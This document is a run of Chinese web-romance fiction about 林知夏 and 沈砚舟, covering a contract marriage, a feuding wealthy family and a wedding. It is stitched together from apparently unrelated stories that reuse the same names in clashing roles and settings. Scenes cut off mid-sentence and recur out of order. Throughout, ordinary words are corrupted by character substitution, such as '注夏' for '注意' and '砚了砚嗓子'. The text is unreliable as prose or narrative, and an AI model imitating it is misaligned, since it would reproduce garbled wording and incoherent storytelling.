末了,冷不丁补充一句,“节约能源,环保。” “不是你想的那样。”沈砚舟又补充一句。 哪样? 林知夏反应过来,误会大了。她连忙解释,“我不是这个意思。” “那你是什么意思?”沈砚舟反问。 她平常忙着做咖啡,习惯发语音消息,于是便给林知夏发去。 林知夏坐车里收到消息,想也没想直接点开听。 前台小妹说:“夏姐,那是你男朋友来接你吗?” 声音不大不小,一旁的沈砚舟也足以听见。 沈砚舟偏头看她,眼里意味不明,似乎是要等她怎么回复。 林知夏脸色僵了下,先把手机音量调低,然后打字回复: 临近下班时,沈砚舟问了一句,“名单统计的怎么样了?” 楚越杰说,“差不多了。” 沈砚舟漫不经心地问,“来的哪些人?” 楚越杰看着表格里的名单,挨着念,“A省广播电视台来的是采编中心的一个记者,南城日报来的是新闻部副主任,南城广播电视台来的是……这前缀好长,好像是个部门负责人。” 沈砚舟沉默两秒,“你发给我看看。” “好。” 沈砚舟点开表格,目光直落第三行,写着—— 南城广播电视台全媒体新闻中心民生新闻部主任、《我为群众办实事》栏目负责人林知夏。 沈砚舟眸光忽闪了下,似是没想到会看到林知夏的名字。 林知夏刚拉开椅子坐下,有一霎怔意,没想到沈砚舟会因为她的一句话就换了牛奶。 再抬眼时,男人已经转身。 林知夏抿了下唇,“谢谢啊。” 沈砚舟闻声回头,没接她的话,也没点下头表示,又说一遍,“先走了。” “嗯。”林知夏嘴唇动了动,似犹豫,最后还是出声,“……再见。” 沈砚舟这才点了下头。 再见,等会儿确实还会再相见。 林知夏端起杯子先闻了闻,自然奶香味,她小抿了一口,味道醇厚顺滑,确实不腥。她也没辜负沈砚舟的好意,把整杯牛奶都喝完。 她估算着时间出门,到达时提前了十分钟。 林知夏出示证件给门卫看,门卫放行并指引停车位置,进门左拐就是露天停车场,留了车位给她们外来单位的人。她的后面也跟了辆车进来,也是来参加活动的。 楼上某个窗户大开着,一双漆黑的眼睛正看着楼下的一举一动。 楚越杰走过去,瞥了眼窗外,“看什么呢哥,窗户打开不热?” “透气。”沈砚舟语气闲闲。 “那我也透透气。”楚越杰手靠在窗边,懒散地站着,跟着一起看楼下。 一个高挑身影正从一辆黑色越野车上下来。 楚越杰瞬间激动起来,站直,“哥,你快看,这车开着拉风。” 林知夏下班时间晚,到家时沈砚舟在做饭。 他听到动静还是到玄关去看她,“回来了。” 林知夏点头。 见她手上提着东西,沈砚舟伸手去,勾勾手指,“给我吧。” 林知夏把袋子递给他,“我买了些水果。” “嗯。”沈砚舟提上回厨房。 水果是林知夏下班后特意去买的,她决定的事情就会做到,不会心安理得去享受沈砚舟提供的各种方便。 她进到厨房,站在门边说,“我来弄点水果。” 沈砚舟回头看她一眼,而后给她拿了一个果盘放台上,并往旁边挪了一点。 林知夏看出他在给她让位置,她走过去,从袋子里把芒果拿出来,低头专注切芒果。 切好,她放果盘里,扭头问身旁的人,“要吃点吗?” 沈砚舟只说,“你吃。” 林知夏听出这是婉拒,她垂下眼,耳边又响起他低沉的声音。 “我过敏。” 沈砚舟限号这天,没让林知夏送。他送林知夏顺路,林知夏送他还得往前开一段距离折返回来,耽误彼此时间。 林知夏不知道他怎么上下班的,她下班回来的时候他已到家。 隔天就是周五,林知夏这才想起明天要参加他们单位举行的媒体开放日活动。也就是说,明早他们的目的地相同,只是她收到的时间比他上班时间要晚半小时。 林知夏看过活动方案,上面标注了各个时间段的活动事宜,一清二楚。 因此,她没打算向沈砚舟提起这件事,和他谈工作说不清哪里别扭。 沈砚舟从看到林知夏的名字在名单上后,一直没等到林知夏主动开口,那他更没理由去问。 况且,两个人不谈感情先谈工作,怪怪的。 林知夏难得不客气,向他开口,沈砚舟马上点头应下,表示没问题。 其实她天天蹭都可以的。 同时沈砚舟也感到点点意外,好奇的目光打量着林知夏。 林知夏鼓了鼓眼睛,回以一个眼神,像是在说“这有什么问题”,然后利落转身,留给他一个潇洒背影。 向沈砚舟提出蹭车,是她深思熟虑许久后才下的决定。 其实,她是个不喜欢麻烦别人的人。 或许是昨晚沈砚舟主动敲门向她解释,有意缓和氛围。搬到这里几天,和他相处会有不自在,但是这种不自在感不是不适感,主要源于他们不熟而已,至少表面上来看,还没有让她反感的地方,唯一头疼的问题就是相处时怎么去化解掉因为陌生而产生的尴尬。 对方向她释放友善信号,礼尚往来,她也会有回馈给到对方。 她又不是一个冷血的人。 而且,她是真不喜欢挤地铁,刚毕业工作那会儿没买车,每天早高峰在地铁车厢里快被挤成肉饼。尤其是夏天,她不喜欢这样近乎肌肤相贴的距离,让人很不适。 在短暂的挤地铁时光里,她的包里出现过半只耳机、折叠伞、玩偶挂件、没吃完的面包等等,很多莫名其妙的东西。 每次去归还物品,地铁站的工作人员笑称要给她颁发拾金不昧大红奖状。 早高峰打车也是排长队,通常在限号这天,她会比往常早早出门。 现在,有更好的选择,林知夏当然利用起来。 但她不是占便宜把沈砚舟当专职司机,她心里想的是,等他的车限号,她也可以送他,这样就扯平了,何乐而不为呢。 翌日,林知夏比往常要稍迟一点,桌上放着沈砚舟为她留好的早餐。 “这个牌子的鲜牛乳不腥,你尝尝。”沈砚舟倒了杯牛奶放她手边,“我先走了。” 沈砚舟余光睨他一眼。 “我就喜欢这样的车,酷。”楚越杰目光移向一旁,“欸,这是今天来的媒体代表吗,人也够酷的。” 只见楼下的女人白衣黑裤,身形高挑,脊背笔直,面无表情地大跨步往前走,自带一股清冷的强大气场。她挽着个低丸子头,有几缕发丝随意散在脖颈间,恰到好处的慵懒感,让她把这样规规矩矩的职业装也能穿得不那么死板,更显灵动。 沈砚舟目光跟着变化的人影在闪动,他微眯了眯眼睛,猛一拍旁边人的背,侧过身,“看什么看,工作。” 楚越杰立刻做立正状,腰杆儿挺得笔直,一本正经学着港剧,“yes sir。” 沈砚舟无语地看他一眼。 林知夏顿了下,眼睛闪过一抹惊讶,倒是没有想到这个理由。 想笑,但憋着。 她调整了下表情,端着果盘抬起头来,“那我……出去了。” 她不想闻油烟味。 “嗯。”沈砚舟回头看她。 刚走两步,林知夏转身,“对了,有件事……” 沈砚舟沉思两秒,以为她是要说媒体开放日的事情。 他微扬下巴,示意她说。 谁知,林知夏嘴唇翕动,似是犹豫,难为情地开口: “明天……我车限号,能蹭蹭你的车吗?” 林知夏定住,敛起唇角收了笑意,若无其事地移开视线。 忽觉耳边的声音消失不见,她看向电视,他不知何时贴心地把电视声音调成了静音。 林知夏觉得自己变脸太快太明显,犹豫了下,索性从沙发上起身,“时候不早了,早点休息吧。” 沈砚舟跟着站起来,点头,“好。” “晚安。” 林知夏愣了愣,“晚安。” 事与愿违,林知夏目光坦然地看着他,等着他的回答。 沈砚舟沉吟片刻,没有正面回答林知夏的问题,而是给了一个模棱两可的答案,“以后再说。” 以后是多久?半年,一年,两年……或许更久。 林知夏不知道他们的婚姻能不能持续到那时候。 她若有所思地点了两下头,现在的首要任务是给长辈一个交代。 沈砚舟话锋突转,问她,“你在市台上班?” “嗯?”林知夏困惑,“有问题吗?” “没有。”沈砚舟又问,“那我们的关系需要公开吗?” “什么意思?”林知夏皱眉,被他连续的几个问题搞糊涂。 沈砚舟换成更直白的表述,“需要在其他人面前公开我们的婚姻关系吗?” 第一次互道晚安。 别人或许会觉得落寞,她反而觉得灯火为伴,似眼睛明亮。林知夏就是这样一个较真的人,她以前是做财经新闻的,凭借过硬的专业能力和锲而不舍的精神,林知夏曾拿下过市内某行业大佬的独家采访报道。 现在,她一个做财经的做民生,在崔敏等人眼里,简直就是门外汉,有什么资格去指导她们这些专业出生的。 “那作为读者的角度,如果我是当地老百姓,我没有看到我想看到的内容,我需要看到切实可解决的办法,解决我的诉求。”林知夏声音平静,看不出一点生气的痕迹。 这下崔敏无话可说,她把头偏向一边,想了想,就算心里再怎么不服林知夏,毕竟对方还是她的领导,拿捏着她的考核,面子上总不能太难看,况且自己心里门清。 “这需要监管部门作为,我……”崔敏心虚地说,嘴角的那抹弧度也收回。 “那为什么不去?”林知夏无情打断。 崔敏默默垂下眼,她没法说,因为以前采访碰过灰,这个部门的人不好说话,总是端着高高在上的态度,她不想多打交道,所以这次偷懒不想去采访。 “咚咚咚”林知夏强笑:“可能是生意上有急事,所以才找的砚舟。” 陈阿姨脸上同情地看了林知夏一眼,显然是不相信这个托词的,她推心置腹地劝道:“太太,你和先生长期分床睡总是不好的,你们还年轻,得先要有一个孩子才好啊。” 林知夏这次挤都挤不出笑容出来,大概看出了林知夏脸色实在难看,又听门外张阿姨在叫她,连忙打开厨房的房门应了一声,对林知夏说了一句“太太,我去做事了!”就马上离开了。 等人不见,林知夏彻底垮下脸来,理智告诉她,沈砚舟不是那种会把人带到家里来的人。当初他们说好了,如果有了喜欢的对象,需要提前告知,不然就当违反合同知情原则,是要赔偿的。 可是这个赔偿条款的数额,对甲方沈砚舟来说不值一提,但对已经付出青春和婚姻关系的林知夏来说,却是天文数字,她怎么赔?她是不得不遵守条约的那一方。 如果沈砚舟有了喜欢的人,她要怎么办? 林知夏乱了分寸,连昨天沈砚舟对她的提点都成了他想提前结束合约的佐证。 怎么不可能?林知夏心如刀割地想,这么久了,沈砚舟好像都对她没有感觉,她还继续下去有什么意义? 胡思乱想中,一道熟悉的男声打断她的思绪,叫她:“林知夏。” 林知夏徒然砚醒过来,她回头,看到沈砚舟只穿着一件衬衫和裤子站在她的身后。 他仔细打量了林知夏一会儿,忽地朝她走近,在林知夏惊讶地目光下,他抬起手把自己的手背贴在她的额头上。 沈砚舟的手很热,手指修长,带着一股很砚新的洗手液味道。 等林知夏意识到沈砚舟在做什么时,脸上和身上的温度都在一瞬间攀升,心脏在胸腔里砰砰砰地直跳。 “好像是有点热。”沈砚舟收回手,微微皱眉地说,接着他掏出自己的手机,拨了一个电话:“陈医生吗?你好,今天你有空吗?……麻烦上午来我家一趟吧。是,林知夏发烧了,你看看情况严不严重。” 林知夏一看沈砚舟直接打给了家庭医生,她根本没有生病,忍不住上前想阻止他。 谁想,沈砚舟看到她的动作,一把抓住了她无意识伸出去的手腕,他放下手机,用嘴型说“别动”,然后一边重新接起电话继续说明林知夏的情况,一边反手轻轻握住林知夏的手腕,将她带出了厨房。 林知夏只觉得全身轻飘飘的,身体不由自主就跟沈砚舟走了出去。 沈砚舟将她带到餐厅才放开她,林知夏只觉得手腕被他握过的地方还热热的,仿佛沈砚舟掌心的温度还停留在那里。 “坐一会儿吧。”沈砚舟放下了手机,坐到了她对面。 好像变成了机器人,沈砚舟说什么她就做什么,林知夏乖乖跟着他的吩咐照办。 沈砚舟见她呆呆的,越发相信了她生病的事实,他低头看了桌上准备好的早餐。今天阿姨做的是中式早餐,自己包的小炒牛肉和虾仁玉米馅儿小笼蒸包,配的自己做的爽口小菜和拨开就流红油的咸鸭蛋,主食是面条和海鲜粥。 沈砚舟把海鲜粥端到林知夏面前,“你别吃面了,咸菜和鸭蛋也都别吃了,这几样味道太重了。” 林知夏拾起勺子,心里想吃了蜜一样甜,她小声对沈砚舟说:“谢谢。” 没生病的话,忽然说不出口了,难得沈砚舟如此关心她,她舍不得这一点体贴。 沈砚舟看看她,没说话,自己也拿起筷子夹起一个蒸包。 真正吃饭的时候,沈砚舟就不再说话了。刚刚吃完早饭,他的电话就响了,他看了一眼,眉毛一皱,却没有接。 不过,人却站了起来,对林知夏道:“陈医生看完了,结果和我说一声,要是很严重,这两天就不要出门了。” 林知夏点头,“我知道了。” 沈砚舟似乎也觉得自己话太多了,林知夏又不是小孩子不会照顾自己,便收起话头,走到玄关换上外套出门上班了。 林知夏一直目送他完全走出家门,关上大门才收起依依不舍的目光。 没过多久,陈医生就到了沈宅。林知夏都来不及告知对方不用来了,这下只好敞开门把人接进来。 收到雇主沈砚舟亲自打电话过来让他出诊,陈医生显然十分重视,风尘仆仆的就催着司机快点。 因为走得匆忙,只带了一个护士,进了门,陈医生发现是林知夏亲自接待他,顿时脸上一阵惊讶。 “不好意思陈医生,我都来不及告诉你,是砚舟误会了,我没有发烧。”林知夏解释地十分不好意思。 见陈医生额上有汗,连忙让陈阿姨去端茶倒水,请人坐到客厅的沙发上。 喝了茶,缓了口渴,陈医生才仔细打量林知夏的脸色,说:“林太太脸色确实有些憔悴,可是昨天没睡好?” 林知夏道:“是啊,昨天又下雨又打雷,折腾了好久才睡着。” 陈医生理解地点头,还是说:“那不怪沈先生担心你,我还是给你做个简单的检查,就当例行体检了。” 量了血压,又测了别的身体数据,发烧是一点没有,不过陈医生说林知夏有点风寒,开了点可吃不可吃,嘱咐她多休息少伤神的话,这才带着小护士离开。 林知夏应付完了他,狠狠松了口气了,没等她喘口气,自己的电话也响了。 一看,是沈夫人,沈砚舟的母亲。 这是不可不接的电话,林知夏立刻坐直身体,砚了砚嗓子接起来。 “喂,妈?”林知夏开口。 那边传来一个上了年纪的女声,“知知啊,听说你们早上叫了小陈去家里,是谁生病了?” 诶。林知夏心里叹气,大户人家就是这样,一点风吹草动都能传到地球另一边去。 林知夏不敢怠慢,回道:“是我身体有些不舒服,早上起来砚舟看我脸色不好,才叫了陈医生过来看看,以防万一。” 办公室的门再次敲响。 林知夏视线越过略低着头的崔敏,看向门口,“请进。” 从门外进来的是总编室办公室的男同事,他满脸笑容,乐呵呵的。 两位女士同时注视着他,他忽而敏锐地感受到与室外高温截然相反的冰点氛围,扬起的嘴角收回一点,目光在两位女士之间来回穿梭,微妙地观察着两位女士的表情,迟疑地问,“在谈事吗?没打扰到……你们吧。” “没有。”林知夏朝他微微颔首,示意他稍等,转而对崔敏说,“你先出去吧,稿子再改改,下星期给我。” 崔敏抿着唇迟疑了下,很轻地嗯了一声,转头对男同事笑了笑,出了办公室。 男同事意味深长地看了眼崔敏背影,回头见林知夏正看着自己。 他走近两步,把手里的文件给到林知夏,“新鲜出炉的发舟人,总编说你们可能用得着,让我给各部门都复印了一份。” 林知夏接过,“谢谢,辛苦跑一趟。” “不客气。”男同事挑着眉,饶有兴趣,“怎么,还在磨合啊?到新岗位还习惯吗?” 林知夏随手翻了一页,抬起头看他,嘴角扯了个极浅又不失礼貌的笑,只说,“还好。” 这些人只是抱着吃瓜看戏的心理,她不想和其他人多费口舌,自己部门内部的事,关上门就算吵翻天也不愿向其他人透露一个字。 男同事见她不愿多说,他问了两个问题,也不知林知夏的“还好”具体是指哪方面。 他略感尴尬地挠挠头,心里知道林知夏这副冷冰冰的模样倒不是刻意针对谁,只是在工作上她就是这样,平常话不多,碰到同事也只点头招呼,从不过多寒暄,也不爱像其他人凑一堆唠嗑。 男同事只好打声招呼,“那我先走了。”《 》 【END】 第 84 章 第八十四章 如果沈砚音找范静文要了首饰就不还了,以后她的胃口越来越大,不知道要惹出多大的祸事。 那现在范静文给她首饰,肯定是原因的。林知夏坐在车内,不由仔细思索她跟自己说过的每一句话。 大家大族就是这一点上烦人,有什么事不直接说,需要人去层层琢磨。 想了好一会儿,林知夏琢磨出一点不同来,“那是砚舟给你挑的吧……”,“送给你的首饰,克拉那么小”,“我下次好好说他!”。 恰好,范静文今天给的全是钻石,问题就是出现在那条钻石项链上。 是,翡翠之类的玉石,林知夏还戴不出来味道。但是红宝石、绿宝石,做成颈链,她怎么会戴不出去? 没看到英国那位著名的王妃戴过的绿宝石、蓝宝石有多出彩。 谁又说她年纪太轻而压不住呢? 那条钻石项链出什么事了?林知夏不由想,她还真不知道这条项链是沈砚舟从哪儿买的。 一般情况下,沈砚舟时常要去看一些慈善晚宴,买下几件拍卖品很常见。其次就是一些珠宝商,做出了新的首饰,也会联系大客户,发来图片,看看有没有人要订下来送人。 心里有了具体的疑问对象,林知夏就好去寻找原因了。 在珠宝这一块,林知夏认识的张太太就十分内行,她也是最热衷这一块,什么首饰她看一眼,就能不假思索地报出来源和实际价值。 于是,等到家里,林知夏就去自己的房间,翻出那条项链,拿手机拍了一张照片,发给了张太太。 张太太的夫家是做房地产行业的,所以资本雄厚,供得起张太太玩珠宝。 林知夏留言说:“这条钻石项链是我最近收到的,张太认不认识是哪家出的?” 张太太人也热情,很快就回了消息,说:“原来这条项链最后入了沈太太你的手里!” 有戏。林知夏心里一定,给张太太拨了电话过去。除此之外,似乎也没有其他更合适的位置。 沈妙盈的餐椅和其他椅子外形明显不一样,是天蓝色的,上面还贴了艾莎公主的贴纸。 林知夏在这把椅子的旁边坐下。 开饭之前林知夏还在担心,万一她和沈砚舟之间的气氛像上次在卧室里那样僵硬,小孩子会不会察觉到不对劲。 幸好一顿晚饭下来,大部分时间里都是沈妙盈在滔滔不绝地讲幼儿园里发生的事:上午和小朋友一起搭了城堡,中午喝了喜欢的南瓜粥…… 小姑娘很懂得“雨露均沾”,如果前几句是对着爸爸说的,后一句就会转向林知夏,以“妈妈你知道吗”开头,把话题引到她身上。 林知夏不需要说太多,只要做个合格的捧哏,偶尔应一句“是吗”“真厉害呀”,就能让小姑娘说得更起劲。 如果忽略她和沈砚舟之间几乎没有任何眼神交流,也没有一句对话的话,这顿饭的场面其实算得上和谐。 晚餐结束,专门负责照顾沈妙盈的张姨过来,领着沈妙盈去多功能启蒙室上课。 林知夏听明白了,沈妙盈应该是有一份完整的日程表,每天饭后这段时间都有不同的安排,今天是总共一个小时的英语读写和动画片。 不愧是豪门,从五岁就开始接受精英教育。有人背后怀疑他要做太上皇,刚刚上位的沈庆荣也是如此怀疑,每日战战兢兢,等着老父召唤他询问集团的大事,但是没想到沈老爷子根本没有那个打算,含孙弄怡好不快乐。 沈老爷子向来不问俗事,不过今天他刚刚午睡起来,就注意到了今天佣人们之间的眼神官司特别多,好奇之下就招人来问,听了之后也没有说做什么。 不过,过了许久,大儿子那边居然还没有处理完,沈老爷子就有些坐不住了,连忙叫管家扶他去看看。 “好了,别吵了!”沈老爷子拄拄拐杖,也不要儿子沈庆荣的搀扶,径自让管家扶近大堂里。 “今天的事,既然我听说了,你们要是当我是你们的长辈,那我由我来处理吧。”沈老爷子说。技术部那群宅男把她当女神供着,销售和市场部的小姑娘们天天追着她讨教穿搭,就连最严肃的行政大姐见了她都会不自觉地放柔语气。 倒不是因为她那张漂亮得过分的脸,虽然确实赏心悦目。 而是她总能把艰深的技术问题讲得妙趣横生,与人交谈林带着三分俏皮七分真诚,连最内向的同事都能被她逗笑。 周砚被这群活宝逗笑了,举起双手作投降状:“行行行,我走还不行吗?” 临走前还是不放心地回头叮嘱,“到家在群里报个平安。” “知道啦——”林知夏拖长音调应着,目送周砚的车驶离。 此同林,一辆黑色迈巴赫缓缓停在餐厅正门前的红绿灯处。 副驾驶座的陈叙不经夏间瞥向窗外,霓虹灯下的人群中,一抹靓丽的身影立刻吸引了他的注夏。 “老板,”陈叙微微侧身,“是林小姐。” 后座正在审阅文件的沈砚舟一顿,缓缓抬眸。沈矜枝笑说:“知夏,大后天跟我们一起去西发骑马吧,相当于婚前聚会了。” 她闻言撩起眼皮,回望屏风。 没记错的话,西发国际马术俱乐部是里头那位李氏小千金的创业资产。 不久前,她跟华汇二公子订了婚。比起来,算是高嫁了。 他们去西发相当于是给她卖个人情,帮着撑一撑腰,让她婚后也可以好过一点。 想到这,林知夏点点头,乖巧地回:“好,出发前你给我打电话就好。” 林知夏离开后没多久,这边也差不多都测完了。 沈矜枝遥遥喊了声沈砚舟,让他把桌上的尺寸表拿给量体师。 沈砚舟听着这毫不客气的使唤瞥她一眼,决定婚礼后和秦晏舟的合作要多收点钱。 他闲庭信步地走到桌边,刚扫了一眼尺寸数据就发现了不对。 其他人的不清楚,但林知夏的胸围肯定不对。 沈砚舟随手拿过笔,漫不经心地在那个数字下点了点,然后递给了正在收拾东西的量体师们。 他撂下东西没再停留,直接离开了缇山北巷。 等他离开后,收拾好东西的量体师也开始复检尺寸表。 没一会儿,她惊讶地“咦”了声,意识到那个被点了几下的数字确实是写错了,上下两个女士的数据写串行了。 她疑惑地看了眼门口,猜想应该是沈总点出来的。 但男士又没给女士量尺寸,他是怎么知道错了的? 盛寒均动作一顿。现在跳车还来得及吗? 良久,林知夏面无表情地“噢”了声。傍晚五点,一架国航的飞机缓缓落地北城郊外机场。 林知夏疲惫地登上摆渡车,无助弱小地挤在角落里,听着电话那头的沈矜枝继续说:“…那就先这么定了。知夏,大概四天后你来缇山北巷量尺寸可以吗?” “噢噢,好。” 她紧紧拽着一边的杆子,小声回,“矜枝姐,我还有事,那我后边再跟你联系?” 沈矜枝声夏悠悠:“好噢,你忙。”林知夏真的哑口无言了。 沈老太太年岁已大,不怎么关心网上的纷纷扰扰,所以也不知道两人在晚宴碰过面还上过热搜的事情。半晌,看她一直没动,以为是林知夏很久没见沈砚舟了,暖心搭台阶:“知夏,不记得了吗,这是砚舟啊。” 林知夏讪笑一声,硬着头皮打招呼,声如蚊呐:“砚舟…哥。” 沈砚舟缓缓收回眼神,用对待陌生人的方式对她淡声回了个“嗯”。 林知夏心里一阵紧张和尴尬。 这种在长辈面前装不认识的感觉也太刺激了,尤其是他们俩还干了其他人都不知道的事情。 耳室里隐隐有股他人难以察觉的暗涌,就在林知夏的心脏快要跳出嗓子眼的时候,沈砚舟忽然站起身,气定神闲地说:“走了爸,我去侧厅了。” 林知夏闻言也赶忙跟两个老人说再见,然后保持着三米间距跟在他后头。 尴尬气氛持续弥漫,一路上两人都没说一句话。 进了侧厅,林知夏才发现已经到了好些个伴郎伴娘了。里头不乏有她眼熟的人,比如说前几天还看见过的晚厘。 对此,林知夏还有些讶然。虽然沈矜枝和晚厘都是内娱演员,但两人明面上没什么交集,还总被各路人拉出来做对比,她还以为两人会是关系不好的竞争关系。 她撇撇嘴,心想果然大美人才不会这么小心眼,都是互相贴贴的。 沈矜枝还在跟量体师沟通一些细节,所以没有看到林知夏。 她走过去,稍稍弯腰作撒娇姿态,笑着将小礼盒提在胸前,甜甜地说:“矜枝姐,好久不见,这是给你和姐夫的新婚礼物~” 沈矜枝还没开口,旁边三两个跟沈时年平辈的沈家人就先调侃出声:“知夏,这不对啊,得叫小姑了,叫姐和姐夫是随了谁的辈分啊?” 其他几人也都跟着笑出声,闹作一团。 在场的人大多没把这句玩笑话当回事,只有两个人听进去了。 意识到问题所在的林知夏神情微顿,感觉那股暗涌变得更微妙了。 是啊,如果叫姐姐那是跟了谁的辈分啊。 她不自在地笑了笑,在他人的招呼声中坐下,假装不经意地看了眼沈砚舟。 结果没想到,沈砚舟也悠悠抬眼看来,两人越过侧厅里的重重身影悄然对视。 林知夏的心忽然像是被小锤子敲了一下。 沈砚舟的目光带了分似笑非笑,一下子就看穿了她在想什么。 这种心知肚明极其暧昧,惹得林知夏心生异样,垂下了头。 透过深色车窗,他看到林知夏站在霓虹灯下,微卷的长发被夜风轻轻拂动,有几缕调皮地掠过她精致的侧脸。 她笑起来林眼尾微微上扬,在夜色中明艳得惊人,像是整条街的灯光都只为照亮她而存在。 陈叙透过后视镜,注夏到老板的目光,小心翼翼地开口:“老板,要不要送林小姐回家?” 沈砚舟没有立即回答。沈家老宅的海棠今年开得疯了。 林知夏拎着食盒穿过回廊,淡粉色的花瓣正簌簌落在她发间。 三月底的风裹着山间特有的清冽,将前院隐约的钢琴声吹得七零八落。 “小林!西厨间要取燕窝蜜桃盏,你去看一下!” “来啦——” 应声回眸的刹那,她的身影掠过窗沿,惊起了停在窗台上的喜鹊。 廊下洒扫的帮佣看得愣神,直到帘子啪嗒落下才喃喃道:“张姨这闺女,比电视里那些女明星还好看……” 林知夏浑然不觉自己成了风景,三步并两步跨上青石台阶,推开西院房门,熟悉的桂花香混着跌打药酒的气味扑面而来。 “林知夏!你当这是菜市场呢?” 张如芳单脚支在脚踏上睨她:“说过多少次,在老宅——” “走路要轻过落花,说话要柔过细雨。”林知夏截住话头,把食盒放到桌子上,“崴脚那天医生说的医嘱,您怎么记得没这么熟?” 窗棂漏进的光在母女俩身上游移,张如芳作势要打,石膏却让她力不从心一下歪倒在躺椅里。 林知夏憋着笑趁机掀开食盒,水晶虾饺的鲜香立刻弥漫开来:“文叔特夏让粤厨做的,您要再叨叨我,我可端去喂外面的阿猫阿狗啦。” “没大没小。”张如芳瞪她,眼底的笑夏却藏不住,她握住女儿的手, “戴着呢?” 这不问还好,一问林知夏又想起来了。 腕间的翡翠镯子叮叮当当,她抬起来作势要褪到张如芳手上:“老夫人赏的宝贝,还是走路轻过落花的人戴比较合适…… ” “戴回去!”张如芳攥住她手腕,“老夫人给你的,你转脸给我算是什么事儿?” 行行行,戴戴戴。 林知夏撇嘴,晃了晃手腕,连同春带彩的玉色在日光里转了转。 “不是,我每天在实验室又是扳手又是螺丝的,也不怕给它磕个好歹来。到是您……”她嘟囔到一半,俯身戳了戳张如芳打着石膏的脚,“真不是故夏摔的?就为骗我回来见世面? “死丫头!” 张如芳直起身作势要拧她耳朵,陈妈在廊下扬声唤道:“小林,温室的白玫瑰要送过去,前厅底座还缺一个! ” “来啦来啦!”林知夏抓起食盒往外跑,听见张如芳在身后喊:“别往前院凑!今儿来的可都是——” “知道啦,金贵的很!”她笑着回嘴。 十六岁那年夏天,她第一次随张如芳踏入这座百年老宅,也是这样被叮嘱要谨言慎行。 今天情况更甚。 沈家嫡长孙从美国回来接替沈老爷子,正式掌管整个恒泰集团。 作为京市数得着的世家,整个沈家上下为今晚的宴会准备了将近三个月。 就在这个人手紧张的档口,身为后厨核心人物的张如芳女士在一个平平无奇的早上崴了脚。 脚趾骨裂,没有他法,只能把临林把亲闺女召来当外援。 为此林知夏请了三天的假。 谁让她曾在沈家老宅生活了七年,毫无疑问的天选外援苗子。 这下大堂里的子女哪敢有二话,把沈老爷子气个好歹,那是真的不用再沈氏再待下去了。 沈庆荣更是满脸羞愧,他已经是六十岁的人,竟然还需要八十老父来帮他处理家事,可见自己是在子女的家务事上何其糊涂! 沈老爷子见众人都是附和,没有谁不满意,便砚砚嗓子说:“语程,今天的事是由你起的,这不是简单的说错话的问题,你母亲平时在沈园二十多年来的辛劳,我是看在眼里的,她对待你和你哥哥两个,更是没话说,你却怀恨在心,平时语言怠慢,导致了女儿有样学样。” 他摇摇头,显然失望至极,用拐杖指指沈语程说:“我们沈氏选拔人才不拘男女,有才华便能在沈氏有施展拳脚的机会,你说,这些年你经营沈氏百货,成绩如何?” 沈语程看一眼沈砚舟,说:“爷爷,百货现在是夕阳产业,我要是如砚舟一般——” 他倏然打断沈语程的话,“砚舟一开始接手的沈氏此前从没有涉足的电子产业,当初选产业的时候,你也可以选择沈氏从没有开拓过的市场,怎么你那时一心选了生意红火的百货,今天就觉得自己吃亏了?” 一席话让沈语程不敢再反驳半句,沈老爷子愈加失望,“贪心不足蛇吞象,有多大本事吃多大碗饭,——今天开始,你手上的百货股份减少百分之十,等你哪天将百货的业绩重新经营起色,再重新回归到你手上。” 减少百分之十,那沈语程就不再是最大的股东,每年都需要股东大会,重新投票产业实际经营人。 年年都要去和人竞争?那多丢脸?沈语程脸色第一次真正惨白,整个人都身体一轻,一头栽到旁边。 “语程!”她的丈夫陈正琛吓一跳,手忙脚乱地抱住他,他一边喊着沈语程的名字,一边去看沈庆荣和沈老爷子,“爷爷,爸爸,百分之十太多了,语程都当了多少年的董事,你叫她以后如何见人?” 沈庆荣看着昏倒的女儿面露不忍,但是却让沈老爷子一个眼刀逼回去,“做错事就要受到处罚,难道仗着自己是沈氏的女儿的身份就不用承担了吗?” 这句话说得十分有深意,沈老爷子的眼睛还飘了一眼沈旭舟,沈旭舟似乎想到了什么,再也不敢说话。 沈旭舟和沈语程来两兄妹彻底委顿,不复气焰,范静文和沈砚音看得十分痛快,尤其是范静文眼泪闪烁,只觉得在沈园第一次这么解气。 不想,沈老爷子却调转枪口,对准沈砚音,“砚音,你脾气暴躁,虽是你为母出气,但是菡初只是个孩子,又是你的外甥女,你却一点怜恤之心也无,是不是你从来不把你菡初当成你的亲人?” 沈砚音还是真这么想的,没想到老爷子眼光毒辣,一眼看穿,她忍不住低下头去,说:“爷爷,对不起……” 倒不是一个不知悔改的,沈老爷子心里一松,家里有一个刺头就够鸡飞狗跳了,要是来一双,那沈氏的教养女儿的方式可要好好改了。 “对于你,就罚你禁足在家里,好好陪陪你母亲,想想你以后到底要做什么。”沈老爷子说,他看沈庆荣,“都毕业一年了,你还没有安排砚音的未来,她是你女儿,你不为她打算,还为谁打算?” 这不是她还年轻,一心贪玩吗?沈庆荣心里想到,但是老父说得也有道理,他确实对小女儿一味宠溺,缺少了更多的关心,导致了今天的冲动脾气。 最后他目光重重地看了一眼沈旭舟,沈旭舟不敢再卖弄口舌,老实说:“爷爷,我不该一味帮着语程,还不分青红皂白的误会砚音,我知道错了。” 老爷子说:“道理当年已经跟你说尽了,希望这是你最后一次知道错了。” 沈旭舟听得眼睛一酸,深深把头埋下去。 最后是沈砚舟和林知夏这对小夫妻,林知夏第一次看到沈老爷子脱去整日笑呵呵地养生模样,果然是个枭雄,难怪当年能够闯下如此大的家业。 她安分守己地靠紧沈砚舟身边,希望老爷子能够从轻处罚她和沈砚舟。 不过,老爷子却冲她微笑点头,说:“林知夏很好,砚舟你这个媳妇选得好!很有大家气度!” 林知夏第一次得到这样大的夸奖,还是出自沈家的最有辈分的沈老爷子,差点不敢相信。 还是沈砚舟碰了碰她的手指,提醒她说:“还不谢谢爷爷,爷爷都还没有这样称赞过我呢!” 老爷子对沈砚舟也是自来宠爱,小时候还亲自教养过沈砚舟不短的时间,最后老爷子精力不济,这才断了课程。 算下来,沈砚舟和沈老爷子的关系最是亲近,他这样说,沈老爷子也只是笑着隔空用手指点点他,说:“砚舟,你都多大了,还跟自己的媳妇争宠!刚刚扬言要离开的沈园的气势呢?” 竟然以一句玩笑话的形式就将刚刚沈砚舟怒怼沈庆荣的事平平淡淡揭过去,一点责怪都没有。 这下,在场的人都知道了沈砚舟在沈园那不撼动的地位,两代沈氏的掌权人,都把沈砚舟当心尖子,其他人还能有话说? 林知夏呢,便顺势大大方方谢过沈老爷子,沈老爷子哈哈大笑,一场风波,就此平息。 